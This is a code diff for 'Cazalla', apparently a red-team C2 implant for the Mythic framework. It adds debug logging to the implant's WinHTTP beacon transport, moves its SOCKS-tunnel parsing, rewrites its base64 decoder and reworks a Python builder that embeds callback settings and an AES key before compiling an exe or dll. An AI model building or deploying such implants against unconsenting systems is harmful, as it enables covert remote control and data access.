||||
);
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Update
|
||||
//
|
||||
// Adds data to the SHA256 context. This will process the data and update the
|
||||
// internal state of the context. Keep on calling this function until all the
|
||||
// data has been added. Then call Sha256Finalise to calculate the hash.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Update(Sha256Context* Context, // [in out]
|
||||
void const* Buffer, // [in]
|
||||
uint32_t BufferSize // [in]
|
||||
);
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Finalise
|
||||
//
|
||||
// Performs the final calculation of the hash and returns the digest (32 byte
|
||||
// buffer containing 256bit hash). After calling this, Sha256Initialised must
|
||||
// be used to reuse the context.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Finalise(Sha256Context* Context, // [in out]
|
||||
SHA256_HASH* Digest // [out]
|
||||
);
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Calculate
|
||||
//
|
||||
// Combines Sha256Initialise, Sha256Update, and Sha256Finalise into one
|
||||
// function. Calculates the SHA256 hash of the buffer.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Calculate(void const* Buffer, // [in]
|
||||
uint32_t BufferSize, // [in]
|
||||
SHA256_HASH* Digest // [in]
|
||||
);
|
||||
|
||||
#endif
|
||||
@@ -48,6 +48,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
DWORD respSize = 0;
|
||||
UCHAR buffer[1024] = { 0 };
|
||||
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
wchar_t urlBuffer[512] = {0}; // Declare at function scope
|
||||
|
||||
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
||||
@@ -87,10 +88,26 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
printf("[TRANSPORTE] WinHttpConnect OK\n");
|
||||
fflush(stdout);
|
||||
|
||||
printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n",
|
||||
cazallaConfig->endPoint, cazallaConfig->metodoHttp, httpFlags);
|
||||
// Log complete URL - ensure endpoint starts with /
|
||||
wchar_t endpointBuf[256];
|
||||
if (cazallaConfig->endPoint && cazallaConfig->endPoint[0] != L'/') {
|
||||
swprintf(endpointBuf, 256, L"/%ls", cazallaConfig->endPoint);
|
||||
} else {
|
||||
wcsncpy(endpointBuf, cazallaConfig->endPoint ? cazallaConfig->endPoint : L"", 256);
|
||||
}
|
||||
|
||||
swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls",
|
||||
cazallaConfig->SSL ? L"https" : L"http",
|
||||
cazallaConfig->hostName,
|
||||
cazallaConfig->puertoHttp,
|
||||
endpointBuf);
|
||||
printf("[TRANSPORTE] Complete URL: %ls\n", urlBuffer);
|
||||
fflush(stdout);
|
||||
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
|
||||
|
||||
printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n",
|
||||
endpointBuf, cazallaConfig->metodoHttp, httpFlags);
|
||||
fflush(stdout);
|
||||
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
|
||||
if (!hPeticion) {
|
||||
printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
@@ -132,6 +149,20 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
|
||||
printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen);
|
||||
fflush(stdout);
|
||||
|
||||
// Log first 100 bytes of data being sent (base64 preview)
|
||||
if (bufferLen > 0 && bufferIn) {
|
||||
char preview[101] = {0};
|
||||
size_t previewLen = bufferLen > 100 ? 100 : bufferLen;
|
||||
memcpy(preview, bufferIn, previewLen);
|
||||
preview[previewLen] = '\0';
|
||||
printf("[TRANSPORTE] Data preview (first %zu bytes): %s\n", previewLen, preview);
|
||||
if (bufferLen > 100) {
|
||||
printf("[TRANSPORTE] ... (total %u bytes, showing first 100)\n", bufferLen);
|
||||
}
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
||||
printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
@@ -159,8 +190,25 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
||||
printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado);
|
||||
fflush(stdout);
|
||||
|
||||
// Try to get response headers for debugging
|
||||
if (codigoDeEstado != 200) {
|
||||
wchar_t headers[2048] = {0};
|
||||
DWORD headerSize = sizeof(headers) / sizeof(wchar_t);
|
||||
if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF,
|
||||
WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) {
|
||||
printf("[TRANSPORTE] Response headers:\n");
|
||||
printf("[TRANSPORTE] %ls\n", headers);
|
||||
} else {
|
||||
printf("[TRANSPORTE] Could not retrieve response headers (error: %lu)\n", GetLastError());
|
||||
}
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
if (codigoDeEstado != 200) {
|
||||
printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado);
|
||||
printf("[TRANSPORTE] Request URL was: %ls\n", urlBuffer);
|
||||
printf("[TRANSPORTE] Request size was: %u bytes\n", bufferLen);
|
||||
fflush(stdout);
|
||||
WinHttpCloseHandle(hPeticion);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
@@ -202,69 +250,8 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
PAnalizador analizador = nuevoAnalizador((PBYTE)respBuffer, respSize);
|
||||
|
||||
/* Desempaquetar bloque de extensión SOCKS si está presente al final:
|
||||
[ ... base message ... ][0xF5][Int32 ext_len][ext_bytes]
|
||||
donde ext_bytes = secuencia de registros: [Int32 sid][Byte exit][Int32 b64len][b64]
|
||||
*/
|
||||
printf("[TRANSPORTE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes\n", analizador ? analizador->tamano : 0);
|
||||
fflush(stdout);
|
||||
if (analizador && analizador->tamano >= 1 + 4) {
|
||||
SIZE_T i = analizador->tamano;
|
||||
/* leer backwards el tamaño y marcador; más simple: parse forwards on a temp cursor */
|
||||
PBYTE buf = analizador->original;
|
||||
SIZE_T len = analizador->tamano;
|
||||
if (len >= 5 && buf[len - (1 + 4)] == (BYTE)SOCKS_BLOCK_MARKER) {
|
||||
/* This backwards check is brittle; instead, scan from start for marker */
|
||||
}
|
||||
SIZE_T cursor = 0;
|
||||
while (cursor + 5 <= len) {
|
||||
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
|
||||
printf("[TRANSPORTE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor);
|
||||
fflush(stdout);
|
||||
if (cursor + 5 > len) break;
|
||||
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
|
||||
printf("[TRANSPORTE] Bloque SOCKS: ext_len=%u\n", ext_len);
|
||||
fflush(stdout);
|
||||
if (cursor + 5 + ext_len > len) break;
|
||||
SIZE_T ecur = cursor + 5;
|
||||
SIZE_T eend = cursor + 5 + ext_len;
|
||||
while (ecur + 9 <= eend) {
|
||||
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
|
||||
BYTE exitf = buf[ecur+4];
|
||||
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
|
||||
printf("[TRANSPORTE] SOCKS msg: sid=%u exit=%u b64len=%u\n", sid, exitf, b64len);
|
||||
fflush(stdout);
|
||||
ecur += 9;
|
||||
if (ecur + b64len > eend) break;
|
||||
unsigned char *raw = NULL; size_t raw_len = 0;
|
||||
char *b64str = NULL;
|
||||
if (b64len > 0) {
|
||||
b64str = (char*)LocalAlloc(LPTR, b64len + 1);
|
||||
if (!b64str) break;
|
||||
memcpy(b64str, buf + ecur, b64len);
|
||||
b64str[b64len] = '\0';
|
||||
printf("[TRANSPORTE] Decodificando base64: %s\n", b64str);
|
||||
fflush(stdout);
|
||||
base64_decode(b64str, &raw, &raw_len);
|
||||
printf("[TRANSPORTE] Base64 decodificado: %zu bytes\n", raw_len);
|
||||
fflush(stdout);
|
||||
LocalFree(b64str);
|
||||
}
|
||||
printf("[TRANSPORTE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len);
|
||||
fflush(stdout);
|
||||
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
|
||||
if (raw) LocalFree(raw);
|
||||
ecur += b64len;
|
||||
}
|
||||
/* remove extension from the analyzer's view */
|
||||
analizador->tamano = cursor; /* trim at marker */
|
||||
printf("[TRANSPORTE] Bloque SOCKS procesado, tamaño del analizador ajustado a %zu\n", cursor);
|
||||
fflush(stdout);
|
||||
break;
|
||||
}
|
||||
cursor++;
|
||||
}
|
||||
}
|
||||
/* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */
|
||||
/* Aquí solo devolvemos el analizador con los datos base64-encoded */
|
||||
|
||||
printf("[TRANSPORTE] realizarPeticionHTTP() completado\n");
|
||||
fflush(stdout);
|
||||
|
||||
@@ -6,13 +6,6 @@
|
||||
#define DBG_PRINTF(...) ((void)0)
|
||||
#endif
|
||||
|
||||
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
||||
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
|
||||
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
||||
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
|
||||
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
|
||||
43, 44, 45, 46, 47, 48, 49, 50, 51 };
|
||||
|
||||
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
size_t b64tamanoCodificado(size_t inlen) {
|
||||
@@ -100,40 +93,35 @@ int b64IsValidChar(char c) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int b64_inverse(char c) {
|
||||
if (c >= 'A' && c <= 'Z') return c - 'A';
|
||||
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
|
||||
if (c >= '0' && c <= '9') return c - '0' + 52;
|
||||
if (c == '+') return 62;
|
||||
if (c == '/') return 63;
|
||||
return -1;
|
||||
}
|
||||
|
||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||
SIZE_T len;
|
||||
SIZE_T i;
|
||||
SIZE_T j;
|
||||
int v;
|
||||
if (!in || !out) return 0;
|
||||
|
||||
if (in == NULL || out == NULL) {
|
||||
SIZE_T len = strlen(in);
|
||||
if (len % 4 != 0) return 0;
|
||||
|
||||
SIZE_T i = 0, j = 0;
|
||||
while (i < len) {
|
||||
int a = b64_inverse(in[i]);
|
||||
int b = b64_inverse(in[i+1]);
|
||||
int c = (in[i+2] == '=') ? -1 : b64_inverse(in[i+2]);
|
||||
int d = (in[i+3] == '=') ? -1 : b64_inverse(in[i+3]);
|
||||
|
||||
if (a < 0 || b < 0 || (in[i+2] != '=' && c < 0) || (in[i+3] != '=' && d < 0))
|
||||
return 0;
|
||||
}
|
||||
|
||||
len = strlen(in);
|
||||
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (i = 0; i < len; i++) {
|
||||
if (!b64IsValidChar(in[i])) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0, j = 0; i < len; i += 4, j += 3) {
|
||||
v = b64invs[in[i] - 43];
|
||||
v = (v << 6) | b64invs[in[i + 1] - 43];
|
||||
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
|
||||
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
|
||||
|
||||
out[j] = (v >> 16) & 0xFF;
|
||||
if (in[i + 2] != '=') {
|
||||
out[j + 1] = (v >> 8) & 0xFF;
|
||||
}
|
||||
if (in[i + 3] != '=') {
|
||||
out[j + 2] = v & 0xFF;
|
||||
}
|
||||
out[j++] = (a << 2) | (b >> 4);
|
||||
if (c >= 0) out[j++] = ((b & 0xF) << 4) | (c >> 2);
|
||||
if (d >= 0) out[j++] = ((c & 0x3) << 6) | d;
|
||||
i += 4;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import pathlib
|
||||
import tempfile
|
||||
import base64
|
||||
from mythic_container.PayloadBuilder import *
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
@@ -18,16 +19,22 @@ class CazallaAgent(PayloadType):
|
||||
note = """C implant Developed by the Kaseya OFSTeam"""
|
||||
supports_dynamic_loading = False
|
||||
c2_profiles = ["http"]
|
||||
mythic_encrypts = False
|
||||
mythic_encrypts = True
|
||||
translation_container = "cazalla_translator"
|
||||
build_parameters = [
|
||||
BuildParameter(
|
||||
name="output",
|
||||
parameter_type=BuildParameterType.ChooseOne,
|
||||
description="Choose output format",
|
||||
choices=["exe", "dll", "debug_exe","debug_dll"],
|
||||
choices=["exe", "dll"],
|
||||
default_value="exe"
|
||||
),
|
||||
BuildParameter(
|
||||
name="debug",
|
||||
parameter_type=BuildParameterType.Boolean,
|
||||
description="Enable debug mode (adds -D_DEBUG -DDEBUG_SOCKS and console output)",
|
||||
default_value=False
|
||||
),
|
||||
]
|
||||
agent_path = pathlib.Path(".") / "cazalla"
|
||||
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
||||
@@ -41,6 +48,7 @@ class CazallaAgent(PayloadType):
|
||||
|
||||
async def build(self) -> BuildResponse:
|
||||
resp = BuildResponse(status=BuildStatus.Success)
|
||||
|
||||
Config = {
|
||||
"payload_uuid": self.uuid,
|
||||
"callback_host": "",
|
||||
@@ -56,18 +64,110 @@ class CazallaAgent(PayloadType):
|
||||
"proxy_pass": "",
|
||||
}
|
||||
|
||||
# Track encryption configuration
|
||||
crypto_type_value = None
|
||||
aespsk_key_b64 = ""
|
||||
debug_output = [] # Collect all debug messages for "Applying configuration" step
|
||||
|
||||
debug_output.append(f"=== DEBUG INFO ===")
|
||||
debug_output.append(f"UUID: {self.uuid}")
|
||||
debug_output.append(f"Number of C2 profiles: {len(self.c2info)}")
|
||||
|
||||
for c2 in self.c2info:
|
||||
profile = c2.get_c2profile()
|
||||
for key, val in c2.get_parameters_dict().items():
|
||||
if isinstance(val, dict) and 'enc_key' in val:
|
||||
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
|
||||
debug_output.append(f"\n--- C2 Profile: {profile} ---")
|
||||
|
||||
params_dict = c2.get_parameters_dict()
|
||||
if not params_dict:
|
||||
debug_output.append("WARNING: get_parameters_dict() returned None or empty!")
|
||||
continue
|
||||
|
||||
debug_output.append(f"Parameters dict keys: {list(params_dict.keys())}")
|
||||
debug_output.append(f"Full params_dict: {params_dict}")
|
||||
|
||||
for key, val in params_dict.items():
|
||||
debug_output.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})")
|
||||
|
||||
# Check if val is a dict that might contain enc_key
|
||||
if isinstance(val, dict):
|
||||
debug_output.append(f" -> Parameter {key} is a dict with keys: {list(val.keys())}")
|
||||
|
||||
# Handle AESPSK dict: contains 'value' (crypto_type), 'enc_key', and 'dec_key'
|
||||
if key == "AESPSK" or key == "aespsk":
|
||||
# Extract crypto_type from 'value' field
|
||||
if 'value' in val:
|
||||
crypto_type_value = val['value']
|
||||
debug_output.append(f" -> Found crypto_type in AESPSK['value']: {crypto_type_value}")
|
||||
# Extract enc_key
|
||||
if 'enc_key' in val:
|
||||
if val["enc_key"] is not None and val["enc_key"] != "":
|
||||
aespsk_key_b64 = val["enc_key"]
|
||||
try:
|
||||
decoded_len = len(base64.b64decode(val['enc_key']))
|
||||
debug_output.append(f" -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})")
|
||||
except Exception as e:
|
||||
debug_output.append(f" -> ERROR decoding enc_key: {e}")
|
||||
else:
|
||||
debug_output.append(f" -> enc_key in AESPSK is None or empty")
|
||||
# Handle other dict parameters that might contain enc_key
|
||||
elif 'enc_key' in val:
|
||||
debug_output.append(f" -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...")
|
||||
if val["enc_key"] is not None and val["enc_key"] != "":
|
||||
aespsk_key_b64 = val["enc_key"]
|
||||
try:
|
||||
decoded_len = len(base64.b64decode(val['enc_key']))
|
||||
debug_output.append(f" -> enc_key decoded length: {decoded_len}")
|
||||
except Exception as e:
|
||||
debug_output.append(f" -> ERROR decoding enc_key: {e}")
|
||||
else:
|
||||
aespsk_key_b64 = ""
|
||||
debug_output.append(f" -> enc_key is None or empty")
|
||||
else:
|
||||
Config[key] = val
|
||||
else:
|
||||
Config[key] = val
|
||||
# Log the crypto_type value and store it (in case it comes as a direct parameter)
|
||||
if key == "crypto_type":
|
||||
crypto_type_value = val
|
||||
debug_output.append(f" -> crypto_type set to: {val}")
|
||||
|
||||
# Also check if the key itself is 'enc_key'
|
||||
if key == "enc_key" and val and not isinstance(val, dict):
|
||||
aespsk_key_b64 = str(val)
|
||||
debug_output.append(f" -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...")
|
||||
break
|
||||
|
||||
# Determine encryption based on crypto_type and enc_key
|
||||
debug_output.append(f"\n=== ENCRYPTION DECISION ===")
|
||||
debug_output.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})")
|
||||
debug_output.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}")
|
||||
debug_output.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}")
|
||||
debug_output.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}")
|
||||
|
||||
encryption_enabled = False
|
||||
if crypto_type_value == "aes256_hmac" and aespsk_key_b64:
|
||||
encryption_enabled = True
|
||||
debug_output.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present")
|
||||
else:
|
||||
debug_output.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}")
|
||||
|
||||
# Set encryption configuration
|
||||
if encryption_enabled and aespsk_key_b64:
|
||||
Config["ENCRYPTION_ENABLED"] = "1" # Use 1/0 instead of TRUE/FALSE for direct numeric use
|
||||
Config["AESPSK_KEY"] = aespsk_key_b64
|
||||
debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'")
|
||||
debug_output.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})")
|
||||
debug_output.append(f"Agent-side encryption ENABLED with AES256-HMAC")
|
||||
else:
|
||||
Config["ENCRYPTION_ENABLED"] = "0" # Use 1/0 instead of TRUE/FALSE for direct numeric use
|
||||
Config["AESPSK_KEY"] = ""
|
||||
debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'")
|
||||
debug_output.append(f"Set Config[AESPSK_KEY] = '' (empty)")
|
||||
debug_output.append(f"Agent-side encryption disabled")
|
||||
|
||||
if "https://" in Config["callback_host"]:
|
||||
Config["ssl"] = True
|
||||
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
|
||||
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://", "")
|
||||
if Config["proxy_host"] != "":
|
||||
Config["proxyEnabled"] = True
|
||||
|
||||
@@ -79,19 +179,18 @@ class CazallaAgent(PayloadType):
|
||||
))
|
||||
|
||||
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||
|
||||
# copia el proyecto completo (no solo agent_code)
|
||||
copy_tree(str(self.agent_path), agent_build_path.name)
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Applying configuration",
|
||||
StepStdout="All configuration setting applied",
|
||||
StepSuccess=True
|
||||
))
|
||||
output_format = self.get_parameter("output")
|
||||
debug_enabled = self.get_parameter("debug")
|
||||
|
||||
# 🔧 FIX: rutas corregidas para la estructura agent_code/cazalla/
|
||||
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
|
||||
|
||||
# Replace placeholders in Config.h
|
||||
debug_output.append(f"\n=== CONFIG.H REPLACEMENT ===")
|
||||
debug_output.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'")
|
||||
debug_output.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'")
|
||||
|
||||
with open(config_path, "r+") as f:
|
||||
content = f.read()
|
||||
content = content.replace("%UUID%", Config["payload_uuid"])
|
||||
@@ -103,32 +202,85 @@ class CazallaAgent(PayloadType):
|
||||
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
||||
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
||||
content = content.replace("%PROXYENABLED%", "TRUE" if Config["proxyEnabled"] else "FALSE")
|
||||
|
||||
# Replace encryption settings
|
||||
encryption_value = Config.get("ENCRYPTION_ENABLED", "0")
|
||||
aespsk_value = Config.get("AESPSK_KEY", "")
|
||||
debug_output.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'")
|
||||
debug_output.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})")
|
||||
content = content.replace("%ENCRYPTION_ENABLED%", encryption_value)
|
||||
content = content.replace("%AESPSK_KEY%", aespsk_value)
|
||||
|
||||
f.seek(0)
|
||||
f.write(content)
|
||||
f.truncate()
|
||||
|
||||
command = f"make -C {agent_build_path.name}/agent_code/cazalla exe"
|
||||
filename = f"{agent_build_path.name}/agent_code/cazalla/build/cazalla.exe"
|
||||
|
||||
# proc = await asyncio.create_subprocess_shell(
|
||||
# command,
|
||||
# stdout=asyncio.subprocess.PIPE,
|
||||
# stderr=asyncio.subprocess.PIPE
|
||||
# )
|
||||
|
||||
# stdout, stderr = await proc.communicate()
|
||||
# print(stdout.decode(), stderr.decode())
|
||||
|
||||
proc = await asyncio.create_subprocess_shell(command)
|
||||
await proc.wait()
|
||||
# Verify replacement worked
|
||||
with open(config_path, "r") as f:
|
||||
content_after = f.read()
|
||||
if "#define ENCRYPTION_ENABLED" in content_after:
|
||||
import re
|
||||
match = re.search(r'#define ENCRYPTION_ENABLED\s+(\S+)', content_after)
|
||||
if match:
|
||||
debug_output.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}")
|
||||
match = re.search(r'#define AESPSK_KEY\s+"([^"]*)"', content_after)
|
||||
if match:
|
||||
key_val = match.group(1)
|
||||
debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
|
||||
|
||||
# Send all debug info as part of "Applying configuration" step
|
||||
output_format = self.get_parameter("output")
|
||||
debug_enabled = self.get_parameter("debug")
|
||||
final_output = f"All configuration setting applied (output={output_format}, debug={debug_enabled})\n\n"
|
||||
final_output += "\n".join(debug_output)
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Applying configuration",
|
||||
StepStdout=final_output,
|
||||
StepSuccess=True
|
||||
))
|
||||
|
||||
if debug_enabled:
|
||||
make_target = f"debug_{output_format}"
|
||||
output_filename = f"cazalla-debug.{output_format}"
|
||||
else:
|
||||
make_target = output_format
|
||||
output_filename = f"cazalla.{output_format}"
|
||||
|
||||
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target}"
|
||||
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
|
||||
|
||||
proc = await asyncio.create_subprocess_shell(
|
||||
command,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE
|
||||
)
|
||||
|
||||
stdout, stderr = await proc.communicate()
|
||||
|
||||
compile_output = stdout.decode() if stdout else ""
|
||||
compile_errors = stderr.decode() if stderr else ""
|
||||
|
||||
if proc.returncode != 0:
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout="Successfully compiled cazalla",
|
||||
StepStdout=f"Compilation failed!\nSTDOUT:\n{compile_output}\n\nSTDERR:\n{compile_errors}",
|
||||
StepSuccess=False
|
||||
))
|
||||
resp.status = BuildStatus.Error
|
||||
resp.build_message = f"Compilation failed: {compile_errors}"
|
||||
return resp
|
||||
|
||||
debug_info = " (DEBUG MODE)" if debug_enabled else ""
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nOutput: {output_filename}",
|
||||
StepSuccess=True
|
||||
))
|
||||
|
||||
resp.payload = open(filename, "rb").read()
|
||||
resp.build_message = f"Successfully built {output_filename}{debug_info}"
|
||||
return resp
|
||||
|
||||
@@ -11,15 +11,16 @@ class ExitArguments(TaskArguments):
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise Exception("Este comando no debe tener parametros")
|
||||
raise Exception("Exit command takes no parameters.")
|
||||
|
||||
|
||||
class ExitCommand(CommandBase):
|
||||
cmd = "exit"
|
||||
needs_admin = False
|
||||
help_cmd = "exit"
|
||||
description = "Task para cerrar el proceso del implante"
|
||||
description = "Task the implant to exit."
|
||||
version = 1
|
||||
is_exit = True # Important: marks this as an exit command (like Athena)
|
||||
supported_ui_features = ["callback_table:exit"]
|
||||
author = "Kaseya OFSTeam"
|
||||
argument_class = ExitArguments
|
||||
@@ -30,15 +31,12 @@ class ExitCommand(CommandBase):
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
# Marcar inmediatamente como completada ya que el agente se cerrará
|
||||
response.Completed = True
|
||||
response.TaskStatus = MythicStatus.Completed
|
||||
type = taskData.args.get_arg("type")
|
||||
response.DisplayParams = type
|
||||
# Don't mark as completed immediately - let the agent send the response
|
||||
# This follows Xenon and Athena's pattern
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
resp.TaskStatus = "completed" # Marcar explícitamente como completada
|
||||
# Mark task as completed explicitly when we receive the response
|
||||
resp.Completed = True
|
||||
return resp
|
||||
@@ -7,3 +7,6 @@ grpcio
|
||||
grpcio-tools
|
||||
mythic-container
|
||||
pyaml
|
||||
async-timeout==4.0.3
|
||||
charset_normalizer==3.3.2
|
||||
pycryptodome==3.19.0
|
||||
|
||||
@@ -92,13 +92,34 @@ def responseTasking(tasks):
|
||||
|
||||
dataToSend = dataHead + dataTask
|
||||
print("estamos en el dataToSend\n")
|
||||
print(dataToSend.hex())
|
||||
print(f"[TRANSLATOR] dataToSend total={len(dataToSend)} bytes")
|
||||
print(f"[TRANSLATOR] dataHead (comando+num_tasks)={dataHead.hex()} ({len(dataHead)} bytes)")
|
||||
print(f"[TRANSLATOR] dataTask (tareas)={dataTask.hex()[:100]}..." if len(dataTask) > 50 else f"[TRANSLATOR] dataTask={dataTask.hex()}")
|
||||
print(f"[TRANSLATOR] First byte of dataToSend=0x{dataToSend[0]:02X}")
|
||||
return dataToSend
|
||||
|
||||
|
||||
def responseCheckin(uuid):
|
||||
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
|
||||
return data
|
||||
def responseCheckin(uuid, server_pubkey=""):
|
||||
"""
|
||||
Construye la respuesta de checkin.
|
||||
Incluye la clave pública ECC del servidor (base64) para que el agente derive la AES.
|
||||
"""
|
||||
data = bytearray()
|
||||
data.append(commands["checkin"]["hex_code"]) # 0xF1
|
||||
data += uuid.encode() # UUID del agente
|
||||
|
||||
# Si hay clave pública, añadirla con longitud (DWORD) + datos
|
